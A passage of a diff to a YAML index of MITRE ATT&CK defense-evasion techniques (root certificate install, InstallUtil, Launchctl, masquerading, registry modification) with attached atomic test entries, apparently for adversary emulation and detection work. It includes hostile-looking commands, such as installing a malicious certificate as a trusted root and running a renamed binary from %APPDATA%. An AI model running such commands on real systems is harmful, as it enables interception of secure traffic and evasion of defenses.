trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website. + + Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental) + + Atypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish) + + Root certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. (Citation: SpectorOps Code Signing Dec 2017) + + In macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain. (Citation: objective-see ay mami 2018) + id: attack-pattern--d519cfd5-f3a8-43a9-a846-ed0bb40672b1 + modified: '2019-07-19T14:44:30.545Z' + x_mitre_platforms: + - Linux + - Windows + - macOS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern x_mitre_detection: |- A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity. (Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl. (Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (sigcheck[64].exe -tuv) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List. (Citation: Microsoft Sigcheck May 2017) @@ -7770,37 +7998,56 @@ defense-evasion: * BE36A4562FB2EE05DBB3D32323ADF445084ED656 * CDD4EEAE6000AC7F40C3802C171E30148030C072 created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - Windows - - macOS + x_mitre_contributors: + - Itzik Kotler, SafeBreach + - Travis Smith, Tripwire + - Red Canary + - Matt Graeber, @mattifestation, SpecterOps + created: '2017-05-31T21:31:42.750Z' kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack + - kill_chain_name: mitre-attack + phase_name: defense-evasion + external_references: + - external_id: T1130 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1130 + - source_name: capec + external_id: CAPEC-479 + url: https://capec.mitre.org/data/definitions/479.html + - source_name: Wikipedia Root Certificate + description: Wikipedia. (2016, December 6). Root certificate. Retrieved February + 20, 2017. + url: https://en.wikipedia.org/wiki/Root_certificate + - source_name: Operation Emmental + description: Sancho, D., Hacquebord, F., Link, R. (2014, July 22). Finding + Holes Operation Emmental. Retrieved February 9, 2016. + url: http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf + - source_name: Kaspersky Superfish + description: 'Onuma. (2015, February 24). Superfish: Adware Preinstalled on + Lenovo Laptops. Retrieved February 20, 2017.' + url: https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/ + - source_name: SpectorOps Code Signing Dec 2017 + description: Graeber, M. (2017, December 22). Code Signing Certificate Cloning + Attacks and Defenses. Retrieved April 3, 2018. + url: https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec + - source_name: objective-see ay mami 2018 + description: Patrick Wardle. (2018, January 11). Ay MaMi. Retrieved March + 19, 2018. + url: https://objective-see.com/blog/blog_0x26.html + - source_name: Microsoft Sigcheck May 2017 + description: Russinovich, M. et al.. (2017, May 22). Sigcheck. Retrieved April + 3, 2018. + url: https://docs.microsoft.com/sysinternals/downloads/sigcheck + - source_name: Tripwire AppUNBlocker + description: 'Smith, T. (2016, October 27). AppUNBlocker: Bypassing AppLocker. + Retrieved December 19, 2017.' + url: https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/ x_mitre_defense_bypassed: - Digital Certificate Validation - id: attack-pattern--d519cfd5-f3a8-43a9-a846-ed0bb40672b1 - name: Install Root Certificate - created: '2017-05-31T21:31:42.750Z' - x_mitre_version: '1.0' - type: attack-pattern - description: |- - Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website. - - Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental) - - Atypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish) - - Root certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. (Citation: SpectorOps Code Signing Dec 2017) - - In macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain. (Citation: objective-see ay mami 2018) - x_mitre_permissions_required: - - Administrator - - User - identifier: T1130 - atomic_tests: - - name: Install root CA on CentOS/RHEL - description: 'Creates a root CA with openssl + identifier: T1130 + atomic_tests: + - name: Install root CA on CentOS/RHEL + description: 'Creates a root CA with openssl ' supported_platforms: @@ -7829,26 +8076,25 @@ defense-evasion: fi T1118: technique: - external_references: - - external_id: T1118 - source_name: mitre-attack - url: https://attack.mitre.org/techniques/T1118 - - url: https://msdn.microsoft.com/en-us/library/50614e95.aspx - source_name: MSDN InstallUtil - description: Microsoft. (n.d.). Installutil.exe (Installer Tool). Retrieved - July 1, 2016. - - source_name: SubTee GitHub All The Things Application Whitelisting Bypass - description: Smith, C. (2016, August 17). Includes 5 Known Application Whitelisting/ - Application Control Bypass Techniques in One File. Retrieved June 30, 2017. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Casey Smith - - Travis Smith, Tripwire x_mitre_data_sources: - Process monitoring - Process command-line parameters - modified: '2019-02-05T23:13:50.632Z' + x_mitre_permissions_required: + - User + name: InstallUtil + description: |- + InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is located in the .NET directories on a Windows system: C:\Windows\Microsoft.NET\Framework\v\InstallUtil.exe and C:\Windows\Microsoft.NET\Framework64\v\InstallUtil.exe. InstallUtil.exe is digitally signed by Microsoft. + + Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: LOLBAS Installutil) + x_mitre_remote_support: false + id: attack-pattern--f792d02f-813d-402b-86a5-ab98cb391d3b + modified: '2019-07-31T18:11:14.192Z' + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.2' + type: attack-pattern x_mitre_detection: Use process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous @@ -7856,28 +8102,29 @@ defense-evasion: the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed. created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_contributors: + - Casey Smith + - Travis Smith, Tripwire + created: '2017-05-31T21:31:27.510Z' kill_chain_phases: - phase_name: defense-evasion kill_chain_name: mitre-attack - phase_name: execution kill_chain_name: mitre-attack + external_references: + - source_name: mitre-attack + external_id: T1118 + url: https://attack.mitre.org/techniques/T1118 + - description: Microsoft. (n.d.). Installutil.exe (Installer Tool). Retrieved + July 1, 2016. + source_name: MSDN InstallUtil + url: https://msdn.microsoft.com/en-us/library/50614e95.aspx + - description: LOLBAS. (n.d.). Installutil.exe. Retrieved July 31, 2019. + source_name: LOLBAS Installutil + url: https://lolbas-project.github.io/lolbas/Binaries/Installutil/ x_mitre_defense_bypassed: - Process whitelisting - Digital Certificate Validation - id: attack-pattern--f792d02f-813d-402b-86a5-ab98cb391d3b - name: InstallUtil - created: '2017-05-31T21:31:27.510Z' - x_mitre_version: '1.1' - x_mitre_remote_support: false - type: attack-pattern - description: |- - InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is located in the .NET directories on a Windows system: C:\Windows\Microsoft.NET\Framework\v\InstallUtil.exe and C:\Windows\Microsoft.NET\Framework64\v\InstallUtil.exe. InstallUtil.exe is digitally signed by Microsoft. - - Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass) - x_mitre_permissions_required: - - User identifier: T1118 atomic_tests: - name: InstallUtil uninstall method call @@ -7918,16 +8165,6 @@ defense-evasion: #{filename}\n" T1152: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1152 - source_name: mitre-attack - external_id: T1152 - - url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ - source_name: Sofacy Komplex Trojan - description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). - Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_permissions_required: - User - Administrator @@ -7935,28 +8172,7 @@ defense-evasion: - File monitoring - Process monitoring - Process command-line parameters - modified: '2018-10-31T13:45:13.024Z' - x_mitre_detection: Knock Knock can be used to detect persistent programs such - as those installed via launchctl as launch agents or launch daemons. Additionally, - every launch agent or launch daemon must have a corresponding plist file on - disk somewhere which can be monitored. Monitor process execution from launchctl/launchd - for unusual or unknown processes. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - macOS - kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - - phase_name: execution - kill_chain_name: mitre-attack - - phase_name: persistence - kill_chain_name: mitre-attack - id: attack-pattern--53bfc8bf-8f76-4cd7-8958-49a884ddb3ee name: Launchctl - created: '2017-12-14T16:46:06.044Z' - x_mitre_version: '1.0' - x_mitre_remote_support: false - type: attack-pattern description: "Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, @@ -7968,6 +8184,37 @@ defense-evasion: or launch daemons can require elevated privileges. \n\nAdversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process." + x_mitre_remote_support: false + id: attack-pattern--53bfc8bf-8f76-4cd7-8958-49a884ddb3ee + x_mitre_platforms: + - macOS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: Knock Knock can be used to detect persistent programs such + as those installed via launchctl as launch agents or launch daemons. Additionally, + every launch agent or launch daemon must have a corresponding plist file on + disk somewhere which can be monitored. Monitor process execution from launchctl/launchd + for unusual or unknown processes. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + modified: '2019-07-18T15:27:13.077Z' + created: '2017-12-14T16:46:06.044Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + - kill_chain_name: mitre-attack + phase_name: execution + - kill_chain_name: mitre-attack + phase_name: persistence + external_references: + - external_id: T1152 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1152 + - source_name: Sofacy Komplex Trojan + description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). + Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017. + url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ x_mitre_defense_bypassed: - Application whitelisting - Process whitelisting @@ -7987,84 +8234,11 @@ defense-evasion: ' T1036: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1036 - source_name: mitre-attack - external_id: T1036 - - url: https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html - source_name: FireEye APT10 Sept 2018 - description: Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting - Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018. - - url: https://resources.infosecinstitute.com/spoof-using-right-to-left-override-rtlo-technique-2/ - source_name: Infosecinstitute RTLO Technique - description: Security Ninja. (2015, April 16). Spoof Using Right to Left Override - (RTLO) Technique. Retrieved April 22, 2019. - - url: https://blog.trendmicro.com/trendlabs-security-intelligence/plead-targeted-attacks-against-taiwanese-government-agencies-2/ - source_name: Trend Micro PLEAD RTLO - description: Alintanahin, K.. (2014, May 23). PLEAD Targeted Attacks Against - Taiwanese Government Agencies. Retrieved April 22, 2019. - - url: https://securelist.com/zero-day-vulnerability-in-telegram/83800/ - source_name: Kaspersky RTLO Cyber Crime - description: Firsh, A.. (2018, February 13). Zero-day vulnerability in Telegram - - Cybercriminals exploited Telegram flaw to launch multipurpose attacks. - Retrieved April 22, 2019. - - url: https://www.endgame.com/blog/how-hunt-masquerade-ball - source_name: Endgame Masquerade Ball - description: 'Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. - Retrieved October 31, 2016.' - - url: https://www.f-secure.com/documents/996508/1030745/CozyDuke - source_name: F-Secure CozyDuke - description: 'F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. - Retrieved December 10, 2015.' - - url: https://www.welivesecurity.com/2016/03/30/meet-remaiten-a-linux-bot-on-steroids-targeting-routers-and-potentially-other-iot-devices/ - source_name: Remaiten - description: Michal Malik AND Marc-Etienne M.Léveillé. (2016, March 30). Meet - Remaiten – a Linux bot on steroids targeting routers and potentially other - IoT devices. Retrieved September 7, 2017. - - url: https://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/ - source_name: Fysbis Palo Alto Analysis - description: 'Bryan Lee and Rob Downs. (2016, February 12). A Look Into Fysbis: - Sofacy’s Linux Backdoor. Retrieved September 10, 2017.' - - url: https://vms.drweb.com/virus/?i=4276269 - source_name: Fysbis Dr Web Analysis - description: Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved - December 7, 2017. - - url: https://twitter.com/ItsReallyNick/status/1055321652777619457 - source_name: Twitter ItsReallyNick Masquerading Update - description: Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. - Retrieved April 22, 2019. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Nick Carr, FireEye - - David Lu, Tripwire - - Felipe Espósito, @Pr0teus - - ENDGAME - - Bartosz Jerzman x_mitre_data_sources: - File monitoring - Process monitoring - Binary file metadata - modified: '2019-04-25T03:03:11.433Z' - x_mitre_detection: |- - Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect. - - If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Endgame Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update) - - For RTLO, detection methods should include looking for common formats of RTLO characters within filenames such as "\u202E", "[U+202E]", and "%E2%80%AE". Defenders should also check their analysis tools to ensure they do not interpret the RTLO character and instead print the true name of the a file containing it. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows - kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - id: attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0 name: Masquerading - created: '2017-05-31T21:30:38.511Z' - x_mitre_version: '1.1' - type: attack-pattern description: |- Masquerading occurs when the name or location of an executable, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. Several different variations of this technique have been observed. @@ -8072,6 +8246,8 @@ defense-evasion: A third variant uses the right-to-left override (RTLO or RLO) character (U+202E) as a means of tricking a user into executing what they think is a benign file type but is actually executable code. RTLO is a non-printing character that causes the text that follows it to be displayed in reverse.(Citation: Infosecinstitute RTLO Technique) For example, a Windows screensaver file named March 25 \u202Excod.scr will display as March 25 rcs.docx. A JavaScript file named photo_high_re\u202Egnp.js will be displayed as photo_high_resj.png. A common use of this technique is with spearphishing attachments since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default.  + Adversaries may modify a binary's metadata, including such fields as icons, version, name of the product, description, and copyright, to better blend in with the environment and increase chances of deceiving a security analyst or product.(Citation: Threatexpress MetaTwin 2017) + ### Windows In another variation of this technique, an adversary may use a renamed copy of a legitimate utility, such as rundll32.exe. (Citation: Endgame Masquerade Ball) An alternative case occurs when a legitimate utility is moved to a different directory and also renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke) @@ -8080,7 +8256,88 @@ defense-evasion: ### Linux Another variation of this technique includes malicious binaries changing the name of their running process to that of a trusted or benign process, after they have been launched as opposed to before. (Citation: Remaiten) - An example of abuse of trusted locations in Linux would be the /bin directory. Examples of trusted binary names that can be given to malicious binares include "rsyncd" and "dbus-inotifier". (Citation: Fysbis Palo Alto Analysis) (Citation: Fysbis Dr Web Analysis) + An example of abuse of trusted locations in Linux would be the /bin directory. Examples of trusted binary names that can be given to malicious binaries include "rsyncd" and "dbus-inotifier". (Citation: Fysbis Palo Alto Analysis) (Citation: Fysbis Dr Web Analysis) + id: attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0 + modified: '2019-09-10T17:44:59.498Z' + x_mitre_platforms: + - Linux + - macOS + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.2' + type: attack-pattern + x_mitre_detection: |- + Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect. + + If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Endgame Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update) + + For RTLO, detection methods should include looking for common formats of RTLO characters within filenames such as "\u202E", "[U+202E]", and "%E2%80%AE". Defenders should also check their analysis tools to ensure they do not interpret the RTLO character and instead print the true name of the a file containing it. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Oleg Kolesnikov + - Nick Carr, FireEye + - David Lu, Tripwire + - Felipe Espósito, @Pr0teus + - ENDGAME + - Bartosz Jerzman + created: '2017-05-31T21:30:38.511Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + external_references: + - external_id: T1036 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1036 + - source_name: capec + external_id: CAPEC-177 + url: https://capec.mitre.org/data/definitions/177.html + - source_name: FireEye APT10 Sept 2018 + description: Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting + Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018. + url: https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html + - description: Security Ninja. (2015, April 16). Spoof Using Right to Left Override + (RTLO) Technique. Retrieved April 22, 2019. + source_name: Infosecinstitute RTLO Technique + url: https://resources.infosecinstitute.com/spoof-using-right-to-left-override-rtlo-technique-2/ + - description: Alintanahin, K.. (2014, May 23). PLEAD Targeted Attacks Against + Taiwanese Government Agencies. Retrieved April 22, 2019. + source_name: Trend Micro PLEAD RTLO + url: https://blog.trendmicro.com/trendlabs-security-intelligence/plead-targeted-attacks-against-taiwanese-government-agencies-2/ + - description: Firsh, A.. (2018, February 13). Zero-day vulnerability in Telegram + - Cybercriminals exploited Telegram flaw to launch multipurpose attacks. + Retrieved April 22, 2019. + source_name: Kaspersky RTLO Cyber Crime + url: https://securelist.com/zero-day-vulnerability-in-telegram/83800/ + - description: Vest, J. (2017, October 9). Borrowing Microsoft MetaData and + Signatures to Hide Binary Payloads. Retrieved September 10, 2019. + source_name: Threatexpress MetaTwin 2017 + url: https://threatexpress.com/blogs/2017/metatwin-borrowing-microsoft-metadata-and-digital-signatures-to-hide-binaries/ + - source_name: Endgame Masquerade Ball + description: 'Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. + Retrieved October 31, 2016.' + url: https://www.endgame.com/blog/how-hunt-masquerade-ball + - source_name: F-Secure CozyDuke + description: 'F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. + Retrieved December 10, 2015.' + url: https://www.f-secure.com/documents/996508/1030745/CozyDuke + - source_name: Remaiten + description: Michal Malik AND Marc-Etienne M.Léveillé. (2016, March 30). Meet + Remaiten – a Linux bot on steroids targeting routers and potentially other + IoT devices. Retrieved September 7, 2017. + url: https://www.welivesecurity.com/2016/03/30/meet-remaiten-a-linux-bot-on-steroids-targeting-routers-and-potentially-other-iot-devices/ + - source_name: Fysbis Palo Alto Analysis + description: 'Bryan Lee and Rob Downs. (2016, February 12). A Look Into Fysbis: + Sofacy’s Linux Backdoor. Retrieved September 10, 2017.' + url: https://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/ + - source_name: Fysbis Dr Web Analysis + description: Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved + December 7, 2017. + url: https://vms.drweb.com/virus/?i=4276269 + - description: Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. + Retrieved April 22, 2019. + source_name: Twitter ItsReallyNick Masquerading Update + url: https://twitter.com/ItsReallyNick/status/1055321652777619457 x_mitre_defense_bypassed: - Whitelisting by file name or path identifier: T1036 @@ -8152,69 +8409,17 @@ defense-evasion: cmd.exe /K %APPDATA%\taskhostw.exe T1112: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1112 - source_name: mitre-attack - external_id: T1112 - - url: https://technet.microsoft.com/en-us/library/cc732643.aspx - source_name: Microsoft Reg - description: Microsoft. (2012, April 17). Reg. Retrieved May 1, 2015. - - url: https://docs.microsoft.com/sysinternals/downloads/reghide - source_name: Microsoft Reghide NOV 2006 - description: Russinovich, M. & Sharkey, K. (2006, January 10). Reghide. Retrieved - August 9, 2018. - - url: https://blog.trendmicro.com/trendlabs-security-intelligence/poweliks-malware-hides-in-windows-registry/ - source_name: TrendMicro POWELIKS AUG 2014 - description: 'Santos, R. (2014, August 1). POWELIKS: Malware Hides In Windows - Registry. Retrieved August 9, 2018.' - - url: https://posts.specterops.io/hiding-registry-keys-with-psreflect-b18ec5ac8353 - source_name: SpectorOps Hiding Reg Jul 2017 - description: Reitz, B. (2017, July 14). Hiding Registry keys with PSReflect. - Retrieved August 9, 2018. - - url: https://technet.microsoft.com/en-us/library/cc754820.aspx - source_name: Microsoft Remote - description: Microsoft. (n.d.). Enable the Remote Registry Service. Retrieved - May 1, 2015. - - url: https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4657 - source_name: Microsoft 4657 APR 2017 - description: 'Miroshnikov, A. & Hall, J. (2017, April 18). 4657(S): A registry - value was modified. Retrieved August 9, 2018.' - - url: https://docs.microsoft.com/en-us/sysinternals/downloads/regdelnull - source_name: Microsoft RegDelNull July 2016 - description: Russinovich, M. & Sharkey, K. (2016, July 4). RegDelNull v1.11. - Retrieved August 10, 2018. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Bartosz Jerzman - - Travis Smith, Tripwire - - David Lu, Tripwire x_mitre_data_sources: - Windows Registry - File monitoring - Process monitoring - Process command-line parameters - Windows event logs - modified: '2019-02-05T23:19:37.684Z' - x_mitre_detection: |- - Modifications to the Registry are normal and occur throughout typical use of the Windows operating system. Consider enabling Registry Auditing on specific keys to produce an alertable event (Event ID 4657) whenever a value is changed (though this may not trigger when values are created with Reghide or other evasive methods). (Citation: Microsoft 4657 APR 2017) Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file. - - Monitor processes and command-line arguments for actions that could be taken to change or delete information in the Registry. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), which may require additional logging features to be configured in the operating system to collect necessary information for analysis. - - Monitor for processes, command-line arguments, and API calls associated with concealing Registry keys, such as Reghide. (Citation: Microsoft Reghide NOV 2006) Inspect and cleanup malicious hidden Registry entries using Native Windows API calls and/or tools such as Autoruns (Citation: SpectorOps Hiding Reg Jul 2017) and RegDelNull (Citation: Microsoft RegDelNull July 2016). - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows - kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - x_mitre_defense_bypassed: - - Host forensic analysis - id: attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4 + x_mitre_permissions_required: + - User + - Administrator + - SYSTEM name: Modify Registry - created: '2017-05-31T21:31:23.587Z' - x_mitre_version: '1.0' - type: attack-pattern description: |- Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in Persistence and Execution. @@ -8223,15 +8428,70 @@ defense-evasion: Registry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via [Reg](https://attack.mitre.org/software/S0075) or other utilities using the Win32 API. (Citation: Microsoft Reghide NOV 2006) Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to establish Persistence. (Citation: TrendMicro POWELIKS AUG 2014) (Citation: SpectorOps Hiding Reg Jul 2017) The Registry of a remote system may be modified to aid in execution of files as part of Lateral Movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often [Valid Accounts](https://attack.mitre.org/techniques/T1078) are required, along with access to the remote system's [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) for RPC communication. - x_mitre_permissions_required: - - User - - Administrator - - SYSTEM - identifier: T1112 - atomic_tests: - - name: Modify Registry of Current User Profile - cmd - description: 'Modify the registry of the currently logged in user using reg.exe - cia cmd console + id: attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4 + modified: '2019-06-25T12:31:56.827Z' + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: |- + Modifications to the Registry are normal and occur throughout typical use of the Windows operating system. Consider enabling Registry Auditing on specific keys to produce an alertable event (Event ID 4657) whenever a value is changed (though this may not trigger when values are created with Reghide or other evasive methods). (Citation: Microsoft 4657 APR 2017) Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file. + + Monitor processes and command-line arguments for actions that could be taken to change or delete information in the Registry. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), which may require additional logging features to be configured in the operating system to collect necessary information for analysis. + + Monitor for processes, command-line arguments, and API calls associated with concealing Registry keys, such as Reghide. (Citation: Microsoft Reghide NOV 2006) Inspect and cleanup malicious hidden Registry entries using Native Windows API calls and/or tools such as Autoruns (Citation: SpectorOps Hiding Reg Jul 2017) and RegDelNull (Citation: Microsoft RegDelNull July 2016). + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Bartosz Jerzman + - Travis Smith, Tripwire + - David Lu, Tripwire + created: '2017-05-31T21:31:23.587Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + external_references: + - external_id: T1112 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1112 + - source_name: capec + external_id: CAPEC-203 + url: https://capec.mitre.org/data/definitions/203.html + - 